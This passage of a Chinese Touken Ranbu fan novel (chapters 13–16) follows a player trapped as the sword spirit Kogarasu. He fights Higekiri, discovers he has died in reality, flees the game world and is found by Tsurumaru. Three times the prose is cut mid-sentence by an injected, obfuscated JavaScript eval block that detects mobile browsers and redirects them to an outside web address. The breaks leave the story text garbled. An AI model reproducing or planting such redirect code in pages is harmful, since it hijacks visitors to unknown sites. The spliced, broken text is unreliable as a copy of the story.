说到没有办法的时候,膝丸不由得低下了声音。 明明执法队的分灵远比要比普通本丸降下的分灵要与本灵联系更加紧密,但此刻他们却依然什么都做不到。 “呼......如此。” 莺丸招呼小乌丸坐下,走廊和走廊外的空地都零零散散地站着些本灵正在观看直播。 小乌丸坐下,接过前田递来的茶水,轻抚其发顶,继续道:“为父有一振分灵,前不久亦见过这个孩子。” “据分灵所言,这个孩子曾悄然尾随他们,被包围后,正是直播中的这名时间溯行军出手将小乌救走了。” “哈哈哈,原来如此,既然他们甘愿冒着风险救下小乌殿,足以见其价值。”三日月宗近说,“那么,这场战斗中小乌殿未必会有性命之忧。” “......” “这是本灵吧?” 今剑不确定地看着小乌。 “虽然弱得难以分辨......但应当是本灵没错了。” 沉默良久的髭切终于开口。 小乌丸感叹:“真是个奇迹呢。” “是哦,我也很惊讶。”髭切语气轻缓,若有所思,“被折断、沉海,居然依旧存活着,甚至凭借单薄的逸闻便生成了付丧神......” “真是吓到我了呢。” 髭切借用了一下鹤丸的口头禅。 此时杯中残茶如润玉碎片。 13. 第十三章 俗话说黑化强三分。 暗堕付丧神也是同理。 再加上小乌自带的全队增益buff,攻击性可谓更上一层楼。 更何况还有小乌。 不同于本人刚出萌新阶段,对刀术的使用还不够娴熟,【就这个战斗爽】作为战斗爱好者把各种刀种都练了一通,不说人剑合一,如臂使指是绝对有的。 他操控小乌的身体把太刀舞得虎虎生威,每一次劈砍都带着撕裂空气的尖啸,精准地封锁髭切的闪避路线。 更麻烦的是那些疯狂的暗堕付丧神,他们已经完全失去了理智,只凭本能挥舞本体,悍不畏死地填补着小乌攻击的空隙,像一群嗅到血腥味的鬣狗,死死缠住髭切。 “铛铛铛”的格挡声密集如雨,髭切的身影在包围圈内辗转腾挪,每一次闪避都惊险万分,每一次格挡都震得手臂发麻。 他像一片在狂风暴雨中飘摇的白金色落叶,险象环生,似乎下一秒就会被撕碎。 刀锋的破空声、暗堕者的嘶吼、付丧神之间厮杀的怒吼声,骨头碎裂的闷响交织成一片代表死亡的交响乐。 膝丸同样被数名暗堕付丧神死死缠住,他奋力想要劈开一道道路,眼角余光始终无法从兄长那边移开。 “兄长——!”膝丸的嗓子眼带着血沫,每一次格挡都震得他虎口发麻。 “不......不要......!” 现实与记忆的界限模糊,膝丸痛苦不已。 眼前小乌刺向髭切的刀锋,与当年指向义经的无数刀枪何其相似,这场景,简直是将他拖回那个手足相残、至亲背离的噩梦深渊。 膝丸的心脏在胸腔里狂跳,每一次搏动都带来窒息般的痛楚。 他绝不能让历史重演,他必须......必须到兄长身边去! “薄绿!” 今剑挡住了膝丸暴露的后背,焦急地喊了他一声。 “给我冷静点,专心对付你面前的敌人!” 髭切在混乱中异常冷静,面对小乌直取要害的一击,他并未选择反击,而是手腕微转,刀剑以一个极其精妙的角度斜撩而上。 锵——! 刀锋相撞,火花四溅。 在刀锋交错的瞬间,他直直看向小乌,清晰地捕捉到了小乌那双锈红色眼眸深处的抗拒。 髭切心中微动,刀势顺势一引,将小乌的攻击卸向一旁,同时侧身避开另一名暗堕付丧神的偷袭。 他并未急于反击小乌,反而在格挡闪避间,以只有两人能听清的低语。 “还有意识吗?”髭切盯着他,眼神锐利得如鹰隼,逼问道,“你当真因为逸闻而憎恨着我,决意向我挥刀吗?” 小乌的瞳孔颤了颤,眼中的挣扎之色更浓,喉咙里发出压抑的呜咽声,他觉得自己异常清醒,却被刀剑小乌的情绪裹挟着做出反应:“不,不是您的错,我被折断只是因为一个意外。” 再次被操控着举刀,攻击变得虚浮。 “人类的意志不应被强加在我们身上,也不是同族相残的理由......我和您的看法相同,髭切......大人。” 那真是太好了。 “那么,你的刀,就不该指向这里。” 髭切化解着周围暗堕付丧神的攻击,语气却带着一丝不易察觉的笑意。 他格开小乌又一次被迫袭来的刀锋,声音陡然冷冽了几分,如同出鞘的寒刃:“这样下去可不行哦~如果你继续这样,被当成恶鬼驱使着扑上来......” 髭切的眼神瞬间变得锐利无比,冰冷的杀意第一次清晰地指向小乌:“那我只能把你当成鬼切掉了。” 这句话并非单纯的威胁,更像是一个冷酷的宣告——作为斩鬼之刃,他对付恶鬼从不犹豫。 [椿姬]:髭切殿小心身后啊!那个暗堕的清光指甲好像有毒! [红隼]:膝丸殿下快急疯了!啊啊啊看得我好揪心! [淮燎]:捏妈的有完没完了杀完膝丸杀髭切,就是要逮着源氏杀是吧! [拖把粘屎戳谁谁死]:看得我都开始讨厌这个莫名其妙出现的付丧神了,没有他源氏兄弟不会陷入现在这个局面。 [猛踹瘸子那条好腿]:“当成鬼一起切掉”......天啊......这是在给小乌下最后通牒吗了? [茯苓]:不要啊!小乌快醒醒! [苏月]:楼上的那个拖把你没事吧?小乌也是受害者凭什么讨厌他啊?你脑子不好使就多出点力气去杀时溯,别在这** [长义来加班]:文明!文明用语啊啊啊! 而听到髭切的话后,【这个战斗爽】仿佛被启发了什么。 【就这个战斗爽】:诶,我有一计! 【就这个战斗爽】:小乌你带御守了没? 小乌看见有消息,勉强分出几分属于玩家的理智来回复。 【小乌】:带了......等等你要干嘛??不是你至于吗??? 【雀隐】:不是,你玩这么大,把人家的刀玩坏了咋整。 【就这个战斗爽】:哎呀我们是对敌阵营怕什么,就要把人家刀创死了扔回去,刺激,反正回去了也不知道是谁干的。 【小乌】:喂!我的死活呢? 【雀隐】:好有道理! 【小乌】:喂喂! 【就这个战斗爽】:你等等见机行事,我创完他们你就开权限把他们踢出去,这么打下去我都不知道该怎么收场了,总不能都给打死了。 【雀隐】:好! 【小乌】:喂喂喂!都不听我的意见了吗??? 【雀隐】:小i人,你就是我们e人的玩具桀桀桀! 【就这个战斗爽】:回去我赔你御守,乖。 不是,这两家伙怎么演反派演得这么上头?我是道具吗! 小乌见势不妙想解除控制,但是不如【就这个战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795922|175008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗爽】的手速快。 就在髭切刚刚格挡开小乌一次斜劈,刀势微微回收,准备应对侧面袭来的另一把暗堕刀剑时。 小乌的身体猛地一震,随即,在【就这个战斗爽】的操控下,他竟完全放弃了任何防御和闪避的意图,主动将自己的胸膛,狠狠撞向了髭切刚刚回撤、尚未完全收势的刀尖。 “噗嗤——!” 利刃穿透血肉的声音,在混乱的厮杀声中显得异常清晰、刺耳。 时间仿佛在这一刻凝固。 髭切金色的瞳孔骤然收缩到极致,他甚至能清晰地感觉到刀身传递来的、毫无阻碍穿透肌肉和骨骼的触感,温热的液体瞬间濡湿了他的手。 小乌的身体因为巨大的冲击力猛地向前一倾,被髭切刀锋贯穿的一幕再次激起了被强行压制的记忆和情感,在这一刻如同决堤的洪水,汹涌地冲垮了玩家意识的堤坝。 “呜......” 一声仿佛来自灵魂深处的悲鸣从小乌唇间溢出。大量失血使他眼前发黑,虽然因为系统设置感觉不到多少疼痛,但身体依然本能地想要蜷缩,却被贯穿的刀刃死死钉住。 一滴......两滴...... 滚烫的泪水,无法控制地涌出那对锈红色的眼眸,如同断了线的珍珠,无声地滑过他苍白的脸颊,然后—— “嗒......嗒......” 滴落在穿透他胸膛、沾染了刺目鲜红的髭切的本体刀刃之上。 泪水在冰冷的刀身上晕开,混合着血迹,留下蜿蜒的水痕。 髭切握着刀柄的手,几不可查地颤抖了一下。 他低着头,视线落在那滴落在自己刀刃上的泪水,及其倒映的,那张写满了无法言说的悲伤和绝望的脸庞。 泪水仿佛带着灼人的温度,烫伤了他的指尖。 是觉得自己摆脱无望,所以主动求死吗......? 这个认知,让髭切感到了前所未有的复杂情绪,一丝难过悄然滋生。 同时,他对小乌的看法也悄然改观。 他的灵魂深处,依旧在挣扎,在反抗,甚至不惜以这种惨烈的方式来寻求解脱。 有什么办法......能真正帮到这个孩子呢? 这个念头,前所未有地清晰起来。 [源氏骨科赛高]:啊啊啊啊啊——不要—— [筱雨]:我****!啊啊啊啊我要哭死了 [老祖宗能不能进我炉子]:小乌他在哭啊! [丙子你为什么还不来]:小乌是在求死吗?我的天啊这太痛了...... @时之政府 你们行不行啊 @时之政府 [零]:哥握刀的手都抖了,眼神看起来很难过...... [舜华]:快想办法啊!时政支援怎么还没到?都吃干饭的吗! [曲奇冰淇淋]:我受不了了......这个卧底和溯行军必须死!必须死! 14. 第十四章 鲜血迅速染红了小乌胸前的黑红军装,那刺目的红将他暗沉的发尾染得鲜亮了几分。 像一只伤痕累累的黑色乌鸦,无声地淌着血与泪。 整个战场,似乎都因为这惨烈的一幕而陷入了一瞬间的死寂,只有小乌压抑不住、破碎的喘息声,清晰地回荡在每个人耳边。 他说:“你们可以走了。” 不走他们也要把你们扔出去了。 暗堕刀剑们此刻也似乎被统一按下了暂停键。 “兄长!小乌......” 失去了暗堕刀剑的掣肘,膝丸第一个赶到髭切身边。 他几乎是扑跪在两人身旁,膝盖重重砸在地板上,震起尘土。 悲伤和遗憾瞬间淹没了他。 这振与他们兄弟容貌相似、作为替代他陪伴在兄长身边而诞生的刀......明明才刚刚见面,就要这么眼睁睁看着他消逝了吗? 就在这时,所有人贴身携带的、由时之政府特制的表盘同时发出微弱的嗡鸣和灼热感。 强烈的牵引力开始拉扯他们的灵体,之前还微弱到近乎断绝的信号,此刻清晰得如同黑夜中明亮的灯塔。 【雀隐】:我把他们踢出去了,等几秒cd就行。 【雀隐】把执法队成员们踢出本丸访客授权名单后,时之政府那边一下就检测到了他们的空间信号,本灵也明显感觉到与分灵的连接变强,两方配合着开始召唤执法队成员。 时之政府那边的召唤一旦开启就无法临时中断。 髭切扫视了一眼还散落在各处的队友,暗示他们集合,随后借着身体前倾,用肩膀和小乌的身体挡住了【就这个战斗爽】和【雀隐】方向的视线。 他的左手悄然探入自己的内襟,扯下了此次出阵贴身佩戴的御守·极。 “唔......” 小乌因他的动作牵扯到伤口,发出一声闷哼。 髭切的手掌带着御守的微光,极其隐蔽地、迅速地按在了小乌紧捂着自己胸前伤口的手掌缝隙处,那枚带着他体温的金御守,就这么被强行塞进了小乌冰冷、沾满鲜血的手指和染血的衣襟之间。 “我也......” 膝丸看得真切,面上露出一瞬的惊谔。 他几乎是本能地也伸手去掏自己怀里的御守,想要塞给小乌。 “不需要哟。”髭切的声音低沉而急促,带着不容置疑的斩钉截铁,他用眼神制止了膝丸的动作,“弟弟没必要给,这是我该给的。” 膝丸的手僵在半空,瞬间明白了兄长的深意。在即将被强制召回、前途未卜的情况下,分散御守可能两边都保不住。 传送的金光越来越亮,马上就要突破众人的遮挡。 在最后消散的瞬间,髭切做出了一个让所有人,包括膝丸都惊讶万分的动作。 他猛地抽回了贯穿小乌胸膛的刀刃,鲜血瞬间从小乌胸前的创口涌出更多。 他将本体收入鞘中,空出的双臂以一种近乎轻柔的力道,将摇摇欲坠、浑身是血的小乌紧紧拥入了怀中。 这是一个真正的拥抱。 髭切低下头,金色的发丝垂落,与小乌沾血的黑色发丝交缠。他的声音低沉而清晰,带着一种前所未有的郑重,直接传入小乌因失血而恍惚的意识深处: “我很感谢你。” “如果不是你的话,当年被送去平家的或许就是我。” 这句话如同一道惊雷,炸响在小乌混乱的意识里。 从逸闻来看,某种程度上,确实是小乌代替了髭切承担被赠予、被抛弃、成为政治牺牲品的命运。 在这一点,膝丸也是同样的,对他点了点头:“我也同样非常感激你。” 髭切的手臂收得更紧,仿佛想将自己的力量传递过去,“如果接下来没有成功......请努力活下去吧。” “八幡大菩萨会保佑我们再见。” 话音落下的同时,刺目的金色光芒从髭切、膝丸以及另外四名执法队成员身上爆发。 他们的身影在光芒中迅速变得透明、模糊。 噗通。 髭切失败了,小乌没能和他们一起被传送走。 失去了髭切的支撑,小乌重重地摔倒在地板上,蜷缩成一团。 髭切最后的话语和那个带着血腥味的拥抱,却像烙铁一样印在他的灵魂上。 他的手指下意识地、死死地攥紧了胸前衣襟下那枚带着温润暖意的金御守,泪水混合着鲜血,无声地浸湿了地板。 御守即将生效,小乌无意识地用手指碾动了几下,然后立马把它塞进了背包。 金光一闪,小乌自己身上佩戴的御守消耗完毕。 他重新站了起来,没有一丝伤痕,连血迹都消失了。 然后他听到了【雀隐】突然响起的哀嚎。 “啊啊啊我的货!碎了好几把刀!” ...... 时间仿佛被拉长了。 小乌蜷缩在自己的部屋里,像一尊失去灵魂的瓷偶。 胸口被捅穿的伤口早已被御守治愈,但髭切刀刃穿透身体的触感,膝丸悲痛的眼神,那个带着血腥味却温暖无比的拥抱,以及髭切和膝丸感谢的话语,如同跗骨之蛆,一遍遍在他脑海中重演。 更汹涌的是那些属于刀剑小乌的记忆碎片——被锻造时的期待与茫然,被屏风压断、被平家家主斩击的那瞬间撕裂灵魂般的剧痛,沉入深海的无边黑暗与寂静,平氏覆灭时浓得化不开的怨念与悲鸣...... 这些不属于玩家的、属于一把千年古刀的真实情感和记忆,如同决堤的洪水,反复冲刷着他的意识。 他用了整整几天,才勉强从这记忆的泥沼中挣扎出来,找回一丝的清明。 然而,这份清明带来的并非解脱,而是更深的恐惧。 因为他猛地想起了【就这个战斗爽】提到过的游戏仓事故。 他点开了内置论坛,调出了那条被他忽略的新闻链接。 《惊爆!<新·刀剑乱舞>全息游戏仓发生致命故障,玩家不幸身亡!》 新闻正文详细描述了事故时间、地点,以及......遇难玩家的姓名。 当那个熟悉的名字赫然出现在遇难者一栏时,小乌只觉得大脑“嗡”的一声,全身的血液瞬间冻结。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795923|175008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不可能......这不可能!” 他死死盯着那个名字,每一个笔画都像烧红的烙铁,烫得他眼睛生疼。 “我明明就在这里......我还活着......在游戏里......” 这个事实让他呼吸一窒。 仔细一想,这一切是有迹可循的。 死亡日期是登录游戏的当天,在游戏苏醒后,他感受到身上火辣辣的剧痛,但被他误认为是锈蚀debuff所导致。 不正常的精力消耗,比普通玩家更多的睡眠。 不正常的饥饿感,在游戏里居然要保持一日三餐。 后两项如此明显的异常他之前居然一点也没有起疑 他下意识地看向游戏界面的角落——那个曾经熟悉的“退出游戏”按钮,它静静地悬浮在那里,散发着柔和的光。 按下去......会怎样? 一个令人毛骨悚然的念头浮现。 新闻说我已经死了,如果我现在退出......意识离开这个游戏世界......接下来等待我的,是否会是死亡呢? 对死亡的恐惧,如同冰冷的潮水,瞬间淹没了他。 那个按钮,仿佛变成了通往深渊的门户。 “战斗哥......”他声音干涩嘶哑,几乎是本能地打开了和【就这个战斗爽】的私聊窗口,手指颤抖着输入,“我、我看到那个游戏仓事故的新闻了......那个死了的人......是我......” 消息发送出去,他屏住呼吸,等待着回应,仿佛等待最后的审判。 几秒后,【就这个战斗爽】的回复跳了出来,带着熟悉的、大大咧咧的语气: 【就这个战斗爽】:??? 【就这个战斗爽】:你在脸滚键盘吗?睡迷糊啦? 【就这个战斗爽】:你等等哦我这会在练刀。 【就这个战斗爽】:摸狗头 jpg. 小乌的心瞬间沉到了谷底。 什么叫脸滚键盘? 他尝试着更直白地描述,甚至引用了新闻的标题和时间,但发送出去的信息,在【就这个战斗爽】那边,似乎只变成了一堆意义不明的乱码或完全被忽略的疯言疯语。 【就这个战斗爽】:兄弟你咋了?发一堆乱码,中病毒了?要不重启一下? 无法沟通。 这个世界在他意识到自己已经死亡的那一刻,就落下了一道的铁壁,将他与“玩家”的世界隔绝开来。 他意识到,关于他在现实中死亡的信息,在这个游戏世界里,已经无法有第二个人得知。 15. 第十五章 从那天起,小乌彻底陷入了浑浑噩噩的状态。 他像一具行尸走肉,机械地完成着游戏任务,出阵、练级、管理本丸......心却漂浮在无边的迷雾里。 是就此认命,活在这个虚拟的游戏世界里,装作什么也没发生,作为玩家存在下去? 还是鼓起勇气,按下那个退出键,去面对可能到来的、彻底的死亡? 他麻木地思考着,挣扎着,甚至没有注意到【就这个战斗爽】对他态度的微妙变化。 起初,【就这个战斗爽】还带着玩家间的熟稔:“兄弟,四队该出阵了,你安排一下呗?” 后来,语气变得直接,带着一丝不易察觉的命令口吻:“老师,你带四队出阵一下。” 再后来,称呼也变了:“小乌,怎么不叫我‘家主大人’了?不是一直都这么叫的吗?” 小乌整日沉浸在自己的思绪里,只是沉默地执行着,他的沉默和顺从,似乎助长了对方的变化。 直到这一天。 小乌正麻木地盯着时空转换器发呆,思考着那个退出选项。 身后传来【就这个战斗爽】明显不耐烦的声音,带着点抱怨,又像是在自言自语,但音量恰好能让小乌听见: “啧,这个NPC怎么越来越呆了?反应迟钝,指令也执行得不干不脆......一点都不听命令,跟刚捡回来的时候完全不一样了。” NPC...... NPC? 他叫我......NPC?! 小乌猛地转过身。 他看着【就这个战斗爽】,那张曾经挂着爽朗笑容、被他视为同伴的脸,此刻却写满了对智能下降的“虚拟角色”的不满。 一股寒意从脚底瞬间窜上头顶,冻得他四肢百骸都在发抖。 这个游戏似乎在慢慢改变所有玩家对他的认知。 小乌终于明白了那让他不安的违和感是什么,系统不仅仅在屏蔽他死亡的真相,它还在潜移默化地同化他。 他在大家的刀眼中,正在从一个玩家,逐渐变成一个普通的、需要服从命令的NPC。 如果我一直留在这里......我的玩家身份会被彻底抹去,我的意识会被同化,我会真正变成一个没有自我、只听从玩家命令的人偶。 这比死了都要让他更难受! 他不要变成那样! 怎么办?他现在能怎么办? 偌大的恐惧驱散了连日来的浑噩。 求生的本能如同熊熊烈火,在他心底猛烈燃烧起来。 他跌跌撞撞地冲回自己的部屋,反锁上门,背靠着门板思索着。 目光扫过房间,最终落在了背包里——那枚由髭切亲手塞给他的御守·极。 他颤抖着将它取出,紧紧握在手心。 一股温润的暖意顺着掌心流淌,让他狂跳的心稍微安定了一些。 这股力量也让他突然发现了这个御守的奇特。 和在万屋购买的御守完全不一样。 顺着这点再仔细回想,在【雀隐】遇见的那些刀剑男士,简直智能的过分! 刀剑乱舞的npc虽然搭载了人工智能,但是只要认真观察便能发现许多刻板的语言和行为,具有相当多的破绽。 而那些刀剑男士不仅反应灵敏,还能自动从他们的话语中分析现状,对答如流,不会因为玩家复杂的话语陷入逻辑怪圈。 他自己的反应也是相当的可疑。 和那个髭切接触后就不停地被不属于自己的记忆干扰,仿佛变成了另一个人,一个真正的刀剑男士小乌。 不,不止是髭切。 还有小乌丸,他送了御守的小乌丸。 当时他就已经被影响了。 他并不是没有见过其它小乌丸还有髭切膝丸,这些npc在万屋时不时能碰见,却从来不会给他带来特殊的影响。 “如果......他们是真的呢?” 小乌喃喃自语,简直要被自己这个离奇的猜测逗笑了。 “......万一?” 如果那些是真正的付丧神,那是不是代表和他们接触会推进他向真正的刀剑付丧神小乌的转化呢? 他深吸一口气,小心翼翼地打开了御守的夹层。 里面果然还静静地躺着一小片折叠得整整齐齐的、不知何种材质的纸,以及一枚小小的、仿佛从某件衣物上拆下来的、边缘有些磨损的金色纽扣。 当时收到御守他就发现手感不对,里面似乎塞了东西。 他展开那片纸,上面用极其细微却清晰的灵力刻印着一个复杂的时空坐标。 他不知道什么灵力,但是看到之后脑子就自动理解了。 这个坐标指向哪里?真正的时之政府?一个真正的本丸?万屋?还是......一个未知的、可能更危险的地方? 他不知道。 但这是他唯一能抓住的线索,是髭切留给他的、指向生路的可能性的路标。 而那枚小小的金色纽扣,像是某种信物,又像是一个无言的承诺。 小乌捻起纽扣再次塞入背包,纽扣在背包中显示为“一个@#?%&”。 看来是没办法通过系统来得知这是什么了。 小乌重新把纽扣放入御守。 没有时间犹豫了。 小乌的眼神变得前所未有的坚定。 他将之前采购的十几个金御守一股脑地全掏了出来,像穿防弹衣一样,把它们密密麻麻地塞进了自己军装外套的内衬口袋、袖口、甚至靴子里。 每一个御守都代表着一次保命的机会。 最后,他将那枚刻着坐标的纸紧紧攥在手心,将那枚小小的御守慎重地放进了最贴近心脏的内袋。 他大步走向本丸中央的时空转换器,步伐不再迟疑。 他最后回头,深深看了一眼这个自登陆游戏以来他生活了一段时间、充满了许多温情的本丸。 【是否确认退出阵营?】 【当前阵营:时间溯行军】 是。 【退出成功】 【当前阵营:无】 再见了。 然后,他毅然决然地伸出手,在时空转换器复杂的操作界面上,输入了那个由髭切留下的、通往未知的坐标。 输入完毕。他深吸一口气,指尖悬停在启动按钮上。 是面对死亡?还是成为失去自我的NPC?亦或是......抓住这最后一线生机,跳入未知的命运? 通过与那些疑似来自真实刀剑乱舞世界的刀剑男士的接触,小乌猜测抓住这个机会,说不定他能够成为一名真正的付丧神活下去。 至于这个猜测是否正确? 现在的他没有答案。 但他选择——前进! 指尖重重按下! 嗡—— 刺目的白光瞬间从时空转换器中爆发。 强烈的空间乱流撕扯感传来,小乌眼睁睁地看着面前的游戏面板咔擦一声破裂了。 游戏系统消失了。 下一秒,白光敛去,时空转换器前空无一人。 只有仪器核心残留的能量余波,在空气中发出细微的噼啪声。 ...... ...... 小乌是在许久未曾体验过的剧痛中清醒过来的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795924|175008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他倒在带着潮湿泥土上。 “呃啊——!” 几乎在他意识回归躯体的瞬间,一股前所未有的、足以撕裂灵魂的剧痛猛地席卷了他。 不是游戏里被削弱到10%的、如同蚂蚁啃噬的细微不适,而是100%全开的、如同被活生生剥皮剔骨的酷刑。 手,脚,脖子。 那些被剥夺了皮肤保护的区域,此刻正与身上那件原本柔软的布料和绷带直接接触并摩擦,产生痛感。 “啊啊啊啊!!!” 惨叫声不受控制地从他喉咙里迸发出来,凄厉得变了调。 惨烈到不像人类能发出的声音,更像是濒死野兽的哀嚎。 每一次细微的呼吸都牵动着颈部裸露的肌肉,带来刀割般的锐痛;手指无意识地抓挠地面,尘土和碎屑直接嵌入鲜红的肌肉纹理,被其粗糙的外表擦过,仿佛被粗硬的刷子狠狠刮过神经末梢。 痛!太痛了! 这痛楚比刚登陆游戏时50%的阀值强烈千百倍,堪比持续的、无孔不入的、仿佛被浸泡在岩浆和在玻璃渣中打滚一般的酷刑。 “呜......哈啊......咳......” 他蜷缩着,身体像煮熟的虾子一样弓起,又因为触碰伤口而剧烈抽搐。 泪水混合着冷汗疯狂涌出,视野一片黑白的斑点不断闪烁。 他想打滚,想逃离这无边的痛楚,但每一次试图移动身体,布料与裸露伤口的摩擦都带来新一轮的、几乎让他窒息的剧痛。 破碎的呓语从咬出血的唇瓣间溢出,他已经分不清是在向谁祈求。 意识在剧痛的浪潮中沉浮,黑暗如同粘稠的沼泽,一点点吞噬着他残存的清明。 他感觉自己正在被这无休止的痛苦凌迟处死,比沉入深海更加绝望。 就在他即将彻底被黑暗吞没,意识即将消散的边缘。 透过被泪水模糊的、剧烈颤抖的眼睫缝隙,他看到了一双鞋。 一双沾着新鲜泥点的、黑色的厚底木屐。 它们就静静地、突兀地出现在他视野下方那片被泪水打湿的泥地上。 是谁......? 这个念头如同投入死水的微澜,只来得及泛起一丝涟漪。 下一秒,无边的黑暗终于彻底降临。 小乌的身体猛地一僵,随即软倒下去,彻底失去了意识。 在他无知无觉地陷入深度昏迷后,那枚被他紧紧按在胸口内袋、贴着心脏存放的御守,似乎感应到了主人濒临崩溃的处境。 御守以及御守中那枚金色的纽扣都悄然亮起了温暖的金芒。 这点光芒如同萤火,顽强地穿透了布料,柔和地渗入小乌被疼痛折磨的躯体。 一股温和而坚韧的力量,如同涓涓暖流,自心脏的位置缓缓扩散开来。 它并非瞬间治愈那可怕的创伤,而是精准地包裹住了小乌全身所有裸露的、缺少皮肤保护的部分。 那感觉,就像被一层无形的、温润的灵力薄膜轻柔地覆盖。 火辣辣的灼烧感,被这层薄膜温柔地隔绝了大半;摩擦带来的痛楚,也被抚平。 虽然钝痛依然存在,但那足以摧毁意识的疼痛奇迹般地被压制下去了大半。 昏迷中的小乌,紧蹙的眉头似乎稍稍舒展了一丝,急促而痛苦的喘息也渐渐变得平缓、悠长了一些。 他蜷缩在冰冷的泥地上,脸色惨白如纸,浑身尘土,狼狈不堪。 但至少,那层温暖的灵力薄膜如同一道稳定的屏障,暂时隔绝了伤口带来的疼痛,让他获得了一丝喘息之机。 “哦呀哦呀,这个可真是,吓了我一跳。” 16. 第十六章 鹤丸国永刚结束对时间溯行军行踪的探查,正沿着荒僻的小径返回栖身的木屋,暮色将至。 途径荒郊野岭之处,却听到一声声的惨烈的哀嚎,于是停下脚步,好奇地循声探查。 鹤丸国永蹲下身,小心翼翼地将那张沾满泥土和泪痕的脸从地面翻过来。 “呜哇......” 看清面容的瞬间,鹤丸发出了一声短促的惊叹。 这张脸......虽然沾满尘土,面部因疼痛而有些扭曲,但不妨碍他辨别出那张脸的轮廓,尤其是那双眼尾上扬的猫眼...... 太眼熟了! 像谁呢?源氏那对麻烦兄弟? 但除了那双眼睛和脸部轮廓好像又不是那么像。 一个从未见过的刀剑付丧神。 这可真是吓到他了!前所未有的惊吓! “喂喂,小家伙?能听到吗?” 鹤丸轻轻拍了拍小乌冰冷的脸颊,毫无反应。 鹤丸皱起了眉头。 他得先把他弄到安全点的地方。 他小心地将他打横抱起。入手的分量很轻,一米六多的身高对他来说小小一只,很趁手。 鹤丸快步穿过树林,回到他所居住的简陋木屋中,将小乌轻轻放在铺着干草的简易床铺上。 “好了,让我看看你到底是什么情况。” 鹤丸嘀咕着,开始动手解开小乌身上那件军装外套。 纽扣又多又紧,鹤丸奋斗了老半天才将一身装备解开。 随着外套被脱下,鹤丸的动作顿住了。 “哇哦!”他忍不住又惊叹了一声。 只见小乌内衬的衬衣、甚至裤子的口袋里,都塞得鼓鼓囊囊。 鹤丸伸手进去一掏——满满当当,全是在万屋卖得极其昂贵的金色御守。 一个、两个、三个......他像变戏法似的,不断从对方衣服的各个角落掏出御守,很快就在旁边那张摇摇晃晃的小木桌上堆起了一座小小的金山。 “这......这可真是不得了!” 鹤丸拿起一枚御守掂了掂:“这得花多少钱?这是来开店的吗?” 他哭笑不得地看着桌上那一堆金光闪闪的御守,又看看床上昏迷不醒、脸色惨白如纸的小乌。 不过嘛......这些御守...... 鹤丸又拿起另外一个掂了掂,摸摸下巴。 鹤丸继续检查,当他的手探入小乌最贴身的内袋时,指尖又触碰到了一个御守。 他小心地取出来,样式看起来和桌上的那堆不太一样。 入手瞬间,鹤丸能感觉到一股极其精粹、强大的灵力,这些灵力正源源不断地流向这个付丧神。 而且这御守的触感......似乎里面还藏着别的东西? 鹤丸的目光闪了闪,敏锐地察觉到了这个御守的不同寻常。 他没有像对待其他金御守那样随手放到桌上,而是郑重地将其放回了小乌的内袋深处,还轻轻拍了拍那个位置。 “这个看起来不一般呢,还是给你好好收着吧。” 接着解开小乌的衬衣,想检查他身上是否还有其他伤口。 当解开绷带,拉开衣襟、袖口和裤脚时,鹤丸脸上的轻松和好奇瞬间消失了,取而代之的是前所未有的凝重。 只见小乌的颈部、锁骨附近、手足,都暴露着大片大片鲜红、裸露的肌肉纹理。 那并非新鲜的伤口,边界也并无任何痊愈的迹象,完全没有皮肤覆盖,就像被生生剥去了表皮,只有一层薄薄的肌理暴露在空气中。 除此之外,颈部还能看出来一道近乎斩首的伤疤。 鹤丸终于明白,为什么仅仅是倒在粗糙的泥地上,就能让这个付丧神发出那样的惨叫。 任何微小的摩擦、触碰,甚至仅仅是清风的吹拂,对这些裸露的神经末梢来说,都是难以想象的酷刑。 带着沉重的心情,鹤丸为小乌重新整理好衣服,尽量轻柔地避开那些可怕的创面。 他的目光落在了小乌腰间的本体刀上。 人身如此惨烈,那本体会是怎样的呢? 或者说,本体变成了什么样才会让人身有这样的症状? 鹤丸想着,小心地解下小乌的刀鞘。 当太刀被缓缓抽出时,鹤丸的眉头再次紧锁。 刀身依旧保持着流畅的弧度和锋利的刃口,看得出锻造的精良。 然而,在靠近刀镡的刀茎根部,以及刀身中段靠近刀背的部分,却覆盖着大片大片红褐色,甚至有斑斑点点发黑的锈迹。 这些锈斑如同丑陋的疤痕,深深侵蚀着原本的光亮,与他身体上那可怕的伤痕完全对应。 “锈蚀......原来如此......”鹤丸低声自语。 鹤丸国永沉默了。他仔细端详着这把刀,手指无意识地拂过刀身上未被锈蚀的冰冷区域。 他也明白了被小乌单独存放的那枚特殊御守中的灵力作用在何处。 “嗯......?” 他发现刀茎处,锈迹覆盖之下似乎刻有字迹。 “髭......切......” 嗯嗯?还和那位源氏重宝有关系?是仿刀?还是赝作? 到底是谁呢? 